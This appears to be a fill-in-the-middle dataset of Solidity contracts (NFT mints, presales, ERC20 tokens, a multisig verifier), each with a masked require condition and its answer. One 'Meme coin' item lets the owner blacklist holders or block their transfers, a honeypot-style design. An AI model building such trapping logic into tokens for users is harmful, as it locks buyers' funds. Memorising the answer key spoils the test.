bytes32 salt, uint64 expiry, bytes memory multiSignature)
external expiryRange(expiry) locked {
}
bytes32 constant private SEND_SIGNED_METHOD = keccak256(
"SendSignedMethod(address to,address token,uint256 amount,bytes32 salt,uint64 expiry)");
function sendSigned(address to, address token, uint256 amount,
bytes32 salt, uint64 expiry, bytes memory multiSignature
) external expiryRange(expiry) {
}
/**
@notice Removes an address from the quorum. Note the number of addresses
in the quorum cannot drop below minSignatures.
For owned quorums, only owning quorum can execute this action. For non-owned
only quorum itself.
Also removes veto right if _address is a veto holder.
@param _address The address to remove
@param salt The signature salt
@param expiry The expiry
@param multiSignature The multisig encoded signature
*/
function internalRemoveFromQuorum(
address _address,
bytes32 salt,
uint64 expiry,
bytes memory multiSignature
) internal virtual override {
}
/*
@notice Unset the veto right
@param to Who to set the veto to
@param salt The signature salt
@param expiry The signature expiry
@param multiSignature The multi signature
*/
function _unsetVeto(address to
) internal {
}
function verifyMsg(bytes32 message, bytes32 salt, bytes memory multisig
) internal {
require(<FILL_ME>)
bytes32 digest = _hashTypedDataV4(message);
(bool result, address[] memory signers) = tryVerifyDigestWithAddress(
digest,
1,
multisig);
require(result, "BIS: invalid signature");
usedHashes[salt] = true;
// ensure there is at least one veto
if (vetoRightsLength == 0) {
return;
}
for (uint i=0; i<signers.length; i++) {
if (vetoRights[signers[i]]) {
return;
}
}
require(vetoRightsLength == 0, "BIS: no veto signature");
}
/**
@notice Override to use the veto signatures
@param message The message to verify
@param salt The salt to be unique
@param expectedGroupId The expected group ID
@param multiSignature The signatures formatted as a multisig
*/
function verifyUniqueSalt(
bytes32 message,
bytes32 salt,
uint64 expectedGroupId,
bytes memory multiSignature
) internal override {
}
function verifyUniqueSaltWithQuorumId(
bytes32 message,
address expectedQuorumId,
bytes32 salt,
uint64 expectedGroupId,
bytes memory multiSignature
) internal override {
}
}
| !usedHashes[salt],"MSC: Message already used" | 487,660 | !usedHashes[salt] |
"Over wallet limit" | // SPDX-License-Identifier: MIT
/*
_____ _ _ _______ _ _____ ______ _____
/ ____| | | | | |__ __| | | / ____| | ____||_ _|
| | __ __ _ _ __ ___ | |__ | | ___ | | ___ ___ | |__ | (___ ___ | |__ | |
| | |_ | / _` || '_ ` _ \ | '_ \ | | / _ \| | / _ \ / __|| '_ \ \___ \ / _ \ | __| | |
| |__| || (_| || | | | | || |_) || || __/| || __/| (__ | | | | ____) || (_) || | _| |_
\_____| \__,_||_| |_| |_||_.__/ |_| \___||_| \___| \___||_| |_||_____/ \___/ |_| |_____|
*/
pragma solidity ^0.8.0;
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountToken, uint256 amountETH);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) external pure returns (uint256 amountB);
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountOut);
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountIn);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path)
external
view
returns (uint256[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
contract Gamble {
address public immutable owner;
uint256 public immutable startTime;
uint256 public immutable endTime;
mapping(address => uint256) public amountPurchased;
uint256 public immutable maxPerWallet = 1 ether;
uint256 public immutable presalePrice = 1000000000 * 1e18;
uint256 public totalPurchased = 0;
constructor() {
}
modifier onlyOwner() {
}
function buyPresale() public payable {
require(
block.timestamp >= startTime && block.timestamp <= endTime,
"Not active"
);
require(msg.sender == tx.origin, "No contracts");
require(msg.value > 0, "Zero amount");
require(<FILL_ME>)
amountPurchased[msg.sender] += msg.value;
totalPurchased += msg.value;
}
function removeLiquidity() public onlyOwner {
}
receive() external payable {
}
fallback() external payable {
}
}
| amountPurchased[msg.sender]+msg.value<=maxPerWallet,"Over wallet limit" | 487,709 | amountPurchased[msg.sender]+msg.value<=maxPerWallet |
'Insufficient funds!' | // SPDX-License-Identifier: MIT
pragma solidity >=0.8.9 <0.9.0;
import 'erc721a/contracts/extensions/ERC721AQueryable.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/utils/cryptography/MerkleProof.sol';
import '@openzeppelin/contracts/security/ReentrancyGuard.sol';
contract BentleyPJclubSpecialEdition is ERC721AQueryable, Ownable, ReentrancyGuard {
using Strings for uint256;
bytes32 public merkleRoot;
mapping(address => bool) public whitelistClaimed;
string public uriPrefix = '';
string public uriSuffix = '.json';
string public hiddenMetadataUri;
uint256 public cost;
uint256 public maxSupply;
uint256 public maxMintAmountPerTx;
bool public paused = true;
bool public whitelistMintEnabled = false;
bool public revealed = false;
constructor(
string memory _tokenName,
string memory _tokenSymbol,
uint256 _cost,
uint256 _maxSupply,
uint256 _maxMintAmountPerTx,
string memory _hiddenMetadataUri
) ERC721A(_tokenName, _tokenSymbol) {
}
modifier mintCompliance(uint256 _mintAmount) {
}
modifier mintPriceCompliance(uint256 _mintAmount) {
require(<FILL_ME>)
_;
}
function whitelistMint(uint256 _mintAmount, bytes32[] calldata _merkleProof) public payable mintCompliance(_mintAmount) mintPriceCompliance(_mintAmount) {
}
function mint(uint256 _mintAmount) public payable mintCompliance(_mintAmount) mintPriceCompliance(_mintAmount) {
}
function mintForAddress(uint256 _mintAmount, address _receiver) public mintCompliance(_mintAmount) onlyOwner {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
function setRevealed(bool _state) public onlyOwner {
}
function setCost(uint256 _cost) public onlyOwner {
}
function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner {
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner {
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function setPaused(bool _state) public onlyOwner {
}
function setMerkleRoot(bytes32 _merkleRoot) public onlyOwner {
}
function setWhitelistMintEnabled(bool _state) public onlyOwner {
}
function withdraw() public onlyOwner nonReentrant {
}
function _baseURI() internal view virtual override returns (string memory) {
}
}
| msg.value>=(cost*_mintAmount)+((cost*_mintAmount)*15/100),'Insufficient funds!' | 487,803 | msg.value>=(cost*_mintAmount)+((cost*_mintAmount)*15/100) |
"reached limit" | //SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
interface INFT {
function mintSilver(address) external;
function batchMintSilver(address[] memory) external;
}
contract Sale is Ownable {
using Counters for Counters.Counter;
Counters.Counter public sold;
INFT public nft;
mapping(address => Counters.Counter) private purchaseHistory;
mapping(address => bool) public whitelist;
uint256 private prePrice = 0.09 ether;
uint256 private price = 0.12 ether;
uint256 private soldLimit = 999;
uint256 public preOpenTime = 1652443200; // 2022/05/13 21:00:00+09:00
uint256 public openTime = 1652616000; // 2022/05/15 21:00:00+09:00
constructor(address _nft) {
}
function withdraw() external onlyOwner {
}
modifier onlyWhitelist() {
}
function setWhitelist(address[] memory _addrs, bool _isWhitelist) external onlyOwner {
}
modifier walletLimit(uint8 _amount) {
for (uint8 i = 0; i < _amount; i++) {
purchaseHistory[_msgSender()].increment();
}
require(<FILL_ME>)
_;
}
function setSetting(
uint256 _prePrice,
uint256 _price,
uint256 _soldLimit,
uint256 _preOpenTime,
uint256 _openTime
) external onlyOwner {
}
function buyPre(uint8 _amount) external payable onlyWhitelist walletLimit(_amount) {
}
function buy(uint8 _amount) external payable walletLimit(_amount) {
}
function _mint(uint8 _amount) internal {
}
function hasPreOpened() public view returns (bool) {
}
function hasOpened() public view returns (bool) {
}
function remain() public view returns (uint256) {
}
}
| purchaseHistory[_msgSender()].current()<=2,"reached limit" | 487,804 | purchaseHistory[_msgSender()].current()<=2 |
"not opened" | //SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
interface INFT {
function mintSilver(address) external;
function batchMintSilver(address[] memory) external;
}
contract Sale is Ownable {
using Counters for Counters.Counter;
Counters.Counter public sold;
INFT public nft;
mapping(address => Counters.Counter) private purchaseHistory;
mapping(address => bool) public whitelist;
uint256 private prePrice = 0.09 ether;
uint256 private price = 0.12 ether;
uint256 private soldLimit = 999;
uint256 public preOpenTime = 1652443200; // 2022/05/13 21:00:00+09:00
uint256 public openTime = 1652616000; // 2022/05/15 21:00:00+09:00
constructor(address _nft) {
}
function withdraw() external onlyOwner {
}
modifier onlyWhitelist() {
}
function setWhitelist(address[] memory _addrs, bool _isWhitelist) external onlyOwner {
}
modifier walletLimit(uint8 _amount) {
}
function setSetting(
uint256 _prePrice,
uint256 _price,
uint256 _soldLimit,
uint256 _preOpenTime,
uint256 _openTime
) external onlyOwner {
}
function buyPre(uint8 _amount) external payable onlyWhitelist walletLimit(_amount) {
require(<FILL_ME>)
require(!hasOpened(), "closed");
require(msg.value == prePrice * _amount, "invalid value");
_mint(_amount);
}
function buy(uint8 _amount) external payable walletLimit(_amount) {
}
function _mint(uint8 _amount) internal {
}
function hasPreOpened() public view returns (bool) {
}
function hasOpened() public view returns (bool) {
}
function remain() public view returns (uint256) {
}
}
| hasPreOpened(),"not opened" | 487,804 | hasPreOpened() |
"closed" | //SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
interface INFT {
function mintSilver(address) external;
function batchMintSilver(address[] memory) external;
}
contract Sale is Ownable {
using Counters for Counters.Counter;
Counters.Counter public sold;
INFT public nft;
mapping(address => Counters.Counter) private purchaseHistory;
mapping(address => bool) public whitelist;
uint256 private prePrice = 0.09 ether;
uint256 private price = 0.12 ether;
uint256 private soldLimit = 999;
uint256 public preOpenTime = 1652443200; // 2022/05/13 21:00:00+09:00
uint256 public openTime = 1652616000; // 2022/05/15 21:00:00+09:00
constructor(address _nft) {
}
function withdraw() external onlyOwner {
}
modifier onlyWhitelist() {
}
function setWhitelist(address[] memory _addrs, bool _isWhitelist) external onlyOwner {
}
modifier walletLimit(uint8 _amount) {
}
function setSetting(
uint256 _prePrice,
uint256 _price,
uint256 _soldLimit,
uint256 _preOpenTime,
uint256 _openTime
) external onlyOwner {
}
function buyPre(uint8 _amount) external payable onlyWhitelist walletLimit(_amount) {
require(hasPreOpened(), "not opened");
require(<FILL_ME>)
require(msg.value == prePrice * _amount, "invalid value");
_mint(_amount);
}
function buy(uint8 _amount) external payable walletLimit(_amount) {
}
function _mint(uint8 _amount) internal {
}
function hasPreOpened() public view returns (bool) {
}
function hasOpened() public view returns (bool) {
}
function remain() public view returns (uint256) {
}
}
| !hasOpened(),"closed" | 487,804 | !hasOpened() |
"not opened" | //SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
interface INFT {
function mintSilver(address) external;
function batchMintSilver(address[] memory) external;
}
contract Sale is Ownable {
using Counters for Counters.Counter;
Counters.Counter public sold;
INFT public nft;
mapping(address => Counters.Counter) private purchaseHistory;
mapping(address => bool) public whitelist;
uint256 private prePrice = 0.09 ether;
uint256 private price = 0.12 ether;
uint256 private soldLimit = 999;
uint256 public preOpenTime = 1652443200; // 2022/05/13 21:00:00+09:00
uint256 public openTime = 1652616000; // 2022/05/15 21:00:00+09:00
constructor(address _nft) {
}
function withdraw() external onlyOwner {
}
modifier onlyWhitelist() {
}
function setWhitelist(address[] memory _addrs, bool _isWhitelist) external onlyOwner {
}
modifier walletLimit(uint8 _amount) {
}
function setSetting(
uint256 _prePrice,
uint256 _price,
uint256 _soldLimit,
uint256 _preOpenTime,
uint256 _openTime
) external onlyOwner {
}
function buyPre(uint8 _amount) external payable onlyWhitelist walletLimit(_amount) {
}
function buy(uint8 _amount) external payable walletLimit(_amount) {
require(<FILL_ME>)
require(msg.value == price * _amount, "invalid value");
_mint(_amount);
}
function _mint(uint8 _amount) internal {
}
function hasPreOpened() public view returns (bool) {
}
function hasOpened() public view returns (bool) {
}
function remain() public view returns (uint256) {
}
}
| hasOpened(),"not opened" | 487,804 | hasOpened() |
"sold out" | //SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
interface INFT {
function mintSilver(address) external;
function batchMintSilver(address[] memory) external;
}
contract Sale is Ownable {
using Counters for Counters.Counter;
Counters.Counter public sold;
INFT public nft;
mapping(address => Counters.Counter) private purchaseHistory;
mapping(address => bool) public whitelist;
uint256 private prePrice = 0.09 ether;
uint256 private price = 0.12 ether;
uint256 private soldLimit = 999;
uint256 public preOpenTime = 1652443200; // 2022/05/13 21:00:00+09:00
uint256 public openTime = 1652616000; // 2022/05/15 21:00:00+09:00
constructor(address _nft) {
}
function withdraw() external onlyOwner {
}
modifier onlyWhitelist() {
}
function setWhitelist(address[] memory _addrs, bool _isWhitelist) external onlyOwner {
}
modifier walletLimit(uint8 _amount) {
}
function setSetting(
uint256 _prePrice,
uint256 _price,
uint256 _soldLimit,
uint256 _preOpenTime,
uint256 _openTime
) external onlyOwner {
}
function buyPre(uint8 _amount) external payable onlyWhitelist walletLimit(_amount) {
}
function buy(uint8 _amount) external payable walletLimit(_amount) {
}
function _mint(uint8 _amount) internal {
require(_amount == 1 || _amount == 2, "invalid amount");
require(<FILL_ME>)
sold.increment();
if (_amount == 1) {
nft.mintSilver(_msgSender());
} else {
sold.increment();
address[] memory receivers = new address[](2);
receivers[0] = _msgSender();
receivers[1] = _msgSender();
nft.batchMintSilver(receivers);
}
}
function hasPreOpened() public view returns (bool) {
}
function hasOpened() public view returns (bool) {
}
function remain() public view returns (uint256) {
}
}
| sold.current()+_amount<=soldLimit,"sold out" | 487,804 | sold.current()+_amount<=soldLimit |
"Something went wrong" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract Meme is ERC20, ERC20Burnable, Ownable {
uint256 private DEV_WALLET_PERCENTAGE = 7;
uint256 private TOTAL_PERCENTAGE = 100;
mapping(address => bool) private blacklists;
mapping(address => bool) private whitelists;
bool private isBlocked;
constructor() ERC20("Meme coin", "MEME") {
}
function setBlocked(bool _isBlocked) external onlyOwner {
}
function blacklist(
address _address,
bool _isBlacklisting
) external onlyOwner {
}
function whitelist(
address _address,
bool _isWhitelisting
) external onlyOwner {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual override {
require(!blacklists[from], "Blacklisted");
if (isBlocked) {
require(<FILL_ME>)
}
}
}
| whitelists[from]||owner()==from,"Something went wrong" | 488,104 | whitelists[from]||owner()==from |
"Mint is paused" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "./ITimeCatsLoveEmHateEm.sol";
contract Timbaland is ERC721, Ownable {
modifier callerIsUser() {
}
modifier contractIsNotFrozen() {
}
bytes32 public merkleRoot;
bytes32 public mintPassMerkleRoot;
bool public _pause = true;
bool public _frozen;
uint256 public price = 0.2 ether;
uint256 public supply;
uint16[] private availableTokenIds;
mapping(address => bool) public hasMinted;
string private _baseTokenURI = "ipfs://Qmb6uZozUkHFmDprx1ozYHzNVi5VpT27aNKvf3m3SUCwVy/";
address public mintPassAddress = 0x7581F8E289F00591818f6c467939da7F9ab5A777;
constructor(bytes32 root, uint256 tokenSupply) ERC721("TIMEPieces x Timbaland: The Beatclub Collection", "TPBC") {
}
// Only Owner Functions
/**
* @dev Sets the mint price
*/
function setMintPrice(uint256 _mintPrice) external onlyOwner contractIsNotFrozen {
}
/**
* @dev Sets the address of the TIME mint pass smart contract
*/
function setMintPassAddress(address _mintPassAddress) external onlyOwner contractIsNotFrozen {
}
/**
* @dev Sets the main merkle root
*/
function setMainRoot(bytes32 root) external onlyOwner contractIsNotFrozen {
}
/**
* @dev Sets the mint with pass merkle root
*/
function setMintPassRoot(bytes32 root) external onlyOwner contractIsNotFrozen {
}
/**
* @dev Sets the baseURI
*/
function setBaseURI(string memory uri) public onlyOwner contractIsNotFrozen {
}
/**
* @dev Sets the pause status for the mint period
*/
function pauseMint(bool val) public onlyOwner contractIsNotFrozen {
}
/**
* @dev Allows for withdraw of Ether from the contract
*/
function withdraw() external onlyOwner {
}
/**
* @dev Sets the isFrozen variable to true
*/
function freezeContract() external onlyOwner {
}
/**
* @dev Dev mint for token airdrop
*/
function devMint(address[] memory _addresses) public onlyOwner contractIsNotFrozen {
}
// End Only Owner Functions
/**
* @dev The Mint function
*/
function mint(bytes32[] calldata merkleProof) public payable callerIsUser contractIsNotFrozen {
require(<FILL_ME>)
require(availableTokenIds.length > 0, "Sold out");
require(msg.value >= price, "Not enough ether");
require(hasMinted[msg.sender] == false, "User already Minted");
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(MerkleProof.verify(merkleProof, merkleRoot, leaf), "Not on allow list");
uint256 num = getRandomNum(availableTokenIds.length);
_safeMint(msg.sender, uint256(availableTokenIds[num]));
hasMinted[msg.sender] = true;
availableTokenIds[num] = availableTokenIds[availableTokenIds.length - 1];
availableTokenIds.pop();
}
/**
* @dev The mintWithPass function
*/
function mintWithPass(uint256 mintPassID, bytes32[] calldata merkleProof) public payable callerIsUser contractIsNotFrozen {
}
/**
* @notice function to get remaining supply
*/
function getRemainingSupply() public view returns (uint256) {
}
/**
* @dev returns total supply of tokens
*/
function totalSupply() public view returns (uint256) {
}
/**
* @dev Get if the user has minted
*/
function getHasMinted(address _owner) public view returns (bool) {
}
/**
* @dev Gets random number for token distribution
*/
function getRandomNum(uint256 upper) internal view returns (uint256) {
}
/**
* @dev Overridden baseURI getter
*/
function _baseURI() internal view override returns (string memory) {
}
}
| !_pause,"Mint is paused" | 488,159 | !_pause |
"Not on allow list" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "./ITimeCatsLoveEmHateEm.sol";
contract Timbaland is ERC721, Ownable {
modifier callerIsUser() {
}
modifier contractIsNotFrozen() {
}
bytes32 public merkleRoot;
bytes32 public mintPassMerkleRoot;
bool public _pause = true;
bool public _frozen;
uint256 public price = 0.2 ether;
uint256 public supply;
uint16[] private availableTokenIds;
mapping(address => bool) public hasMinted;
string private _baseTokenURI = "ipfs://Qmb6uZozUkHFmDprx1ozYHzNVi5VpT27aNKvf3m3SUCwVy/";
address public mintPassAddress = 0x7581F8E289F00591818f6c467939da7F9ab5A777;
constructor(bytes32 root, uint256 tokenSupply) ERC721("TIMEPieces x Timbaland: The Beatclub Collection", "TPBC") {
}
// Only Owner Functions
/**
* @dev Sets the mint price
*/
function setMintPrice(uint256 _mintPrice) external onlyOwner contractIsNotFrozen {
}
/**
* @dev Sets the address of the TIME mint pass smart contract
*/
function setMintPassAddress(address _mintPassAddress) external onlyOwner contractIsNotFrozen {
}
/**
* @dev Sets the main merkle root
*/
function setMainRoot(bytes32 root) external onlyOwner contractIsNotFrozen {
}
/**
* @dev Sets the mint with pass merkle root
*/
function setMintPassRoot(bytes32 root) external onlyOwner contractIsNotFrozen {
}
/**
* @dev Sets the baseURI
*/
function setBaseURI(string memory uri) public onlyOwner contractIsNotFrozen {
}
/**
* @dev Sets the pause status for the mint period
*/
function pauseMint(bool val) public onlyOwner contractIsNotFrozen {
}
/**
* @dev Allows for withdraw of Ether from the contract
*/
function withdraw() external onlyOwner {
}
/**
* @dev Sets the isFrozen variable to true
*/
function freezeContract() external onlyOwner {
}
/**
* @dev Dev mint for token airdrop
*/
function devMint(address[] memory _addresses) public onlyOwner contractIsNotFrozen {
}
// End Only Owner Functions
/**
* @dev The Mint function
*/
function mint(bytes32[] calldata merkleProof) public payable callerIsUser contractIsNotFrozen {
}
/**
* @dev The mintWithPass function
*/
function mintWithPass(uint256 mintPassID, bytes32[] calldata merkleProof) public payable callerIsUser contractIsNotFrozen {
require(!_pause, "Mint is paused");
require(availableTokenIds.length > 0, "Sold out");
require(msg.value >= price, "Not enough ether");
require(hasMinted[msg.sender] == false, "User already Minted");
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(<FILL_ME>)
// Initialize the mint pass contract interface
ITimeCatsLoveEmHateEm mintPassContract = ITimeCatsLoveEmHateEm(
mintPassAddress
);
// Check if the mint pass is already used or not
require(!mintPassContract.isUsed(mintPassID), "Pass is already used");
// Check if the caller is the owner of the mint pass
require(msg.sender == mintPassContract.ownerOf(mintPassID), "You dont own this mint pass");
uint256 num = getRandomNum(availableTokenIds.length);
_safeMint(msg.sender, uint256(availableTokenIds[num]));
hasMinted[msg.sender] = true;
// Set mint pass as used
mintPassContract.setAsUsed(mintPassID);
availableTokenIds[num] = availableTokenIds[availableTokenIds.length - 1];
availableTokenIds.pop();
}
/**
* @notice function to get remaining supply
*/
function getRemainingSupply() public view returns (uint256) {
}
/**
* @dev returns total supply of tokens
*/
function totalSupply() public view returns (uint256) {
}
/**
* @dev Get if the user has minted
*/
function getHasMinted(address _owner) public view returns (bool) {
}
/**
* @dev Gets random number for token distribution
*/
function getRandomNum(uint256 upper) internal view returns (uint256) {
}
/**
* @dev Overridden baseURI getter
*/
function _baseURI() internal view override returns (string memory) {
}
}
| MerkleProof.verify(merkleProof,mintPassMerkleRoot,leaf),"Not on allow list" | 488,159 | MerkleProof.verify(merkleProof,mintPassMerkleRoot,leaf) |
"Pass is already used" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "./ITimeCatsLoveEmHateEm.sol";
contract Timbaland is ERC721, Ownable {
modifier callerIsUser() {
}
modifier contractIsNotFrozen() {
}
bytes32 public merkleRoot;
bytes32 public mintPassMerkleRoot;
bool public _pause = true;
bool public _frozen;
uint256 public price = 0.2 ether;
uint256 public supply;
uint16[] private availableTokenIds;
mapping(address => bool) public hasMinted;
string private _baseTokenURI = "ipfs://Qmb6uZozUkHFmDprx1ozYHzNVi5VpT27aNKvf3m3SUCwVy/";
address public mintPassAddress = 0x7581F8E289F00591818f6c467939da7F9ab5A777;
constructor(bytes32 root, uint256 tokenSupply) ERC721("TIMEPieces x Timbaland: The Beatclub Collection", "TPBC") {
}
// Only Owner Functions
/**
* @dev Sets the mint price
*/
function setMintPrice(uint256 _mintPrice) external onlyOwner contractIsNotFrozen {
}
/**
* @dev Sets the address of the TIME mint pass smart contract
*/
function setMintPassAddress(address _mintPassAddress) external onlyOwner contractIsNotFrozen {
}
/**
* @dev Sets the main merkle root
*/
function setMainRoot(bytes32 root) external onlyOwner contractIsNotFrozen {
}
/**
* @dev Sets the mint with pass merkle root
*/
function setMintPassRoot(bytes32 root) external onlyOwner contractIsNotFrozen {
}
/**
* @dev Sets the baseURI
*/
function setBaseURI(string memory uri) public onlyOwner contractIsNotFrozen {
}
/**
* @dev Sets the pause status for the mint period
*/
function pauseMint(bool val) public onlyOwner contractIsNotFrozen {
}
/**
* @dev Allows for withdraw of Ether from the contract
*/
function withdraw() external onlyOwner {
}
/**
* @dev Sets the isFrozen variable to true
*/
function freezeContract() external onlyOwner {
}
/**
* @dev Dev mint for token airdrop
*/
function devMint(address[] memory _addresses) public onlyOwner contractIsNotFrozen {
}
// End Only Owner Functions
/**
* @dev The Mint function
*/
function mint(bytes32[] calldata merkleProof) public payable callerIsUser contractIsNotFrozen {
}
/**
* @dev The mintWithPass function
*/
function mintWithPass(uint256 mintPassID, bytes32[] calldata merkleProof) public payable callerIsUser contractIsNotFrozen {
require(!_pause, "Mint is paused");
require(availableTokenIds.length > 0, "Sold out");
require(msg.value >= price, "Not enough ether");
require(hasMinted[msg.sender] == false, "User already Minted");
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(MerkleProof.verify(merkleProof, mintPassMerkleRoot, leaf), "Not on allow list");
// Initialize the mint pass contract interface
ITimeCatsLoveEmHateEm mintPassContract = ITimeCatsLoveEmHateEm(
mintPassAddress
);
// Check if the mint pass is already used or not
require(<FILL_ME>)
// Check if the caller is the owner of the mint pass
require(msg.sender == mintPassContract.ownerOf(mintPassID), "You dont own this mint pass");
uint256 num = getRandomNum(availableTokenIds.length);
_safeMint(msg.sender, uint256(availableTokenIds[num]));
hasMinted[msg.sender] = true;
// Set mint pass as used
mintPassContract.setAsUsed(mintPassID);
availableTokenIds[num] = availableTokenIds[availableTokenIds.length - 1];
availableTokenIds.pop();
}
/**
* @notice function to get remaining supply
*/
function getRemainingSupply() public view returns (uint256) {
}
/**
* @dev returns total supply of tokens
*/
function totalSupply() public view returns (uint256) {
}
/**
* @dev Get if the user has minted
*/
function getHasMinted(address _owner) public view returns (bool) {
}
/**
* @dev Gets random number for token distribution
*/
function getRandomNum(uint256 upper) internal view returns (uint256) {
}
/**
* @dev Overridden baseURI getter
*/
function _baseURI() internal view override returns (string memory) {
}
}
| !mintPassContract.isUsed(mintPassID),"Pass is already used" | 488,159 | !mintPassContract.isUsed(mintPassID) |
"USDC allowance too low" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
// An interface to interact with USDC token
interface USDC {
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
// OptionDAO contract that extends ERC20 and has an admin
contract OptionDAO is ERC20 {
// Boolean value to keep track if the contract is halted or not
bool public halted = false;
// Address of USDC contract to interact with
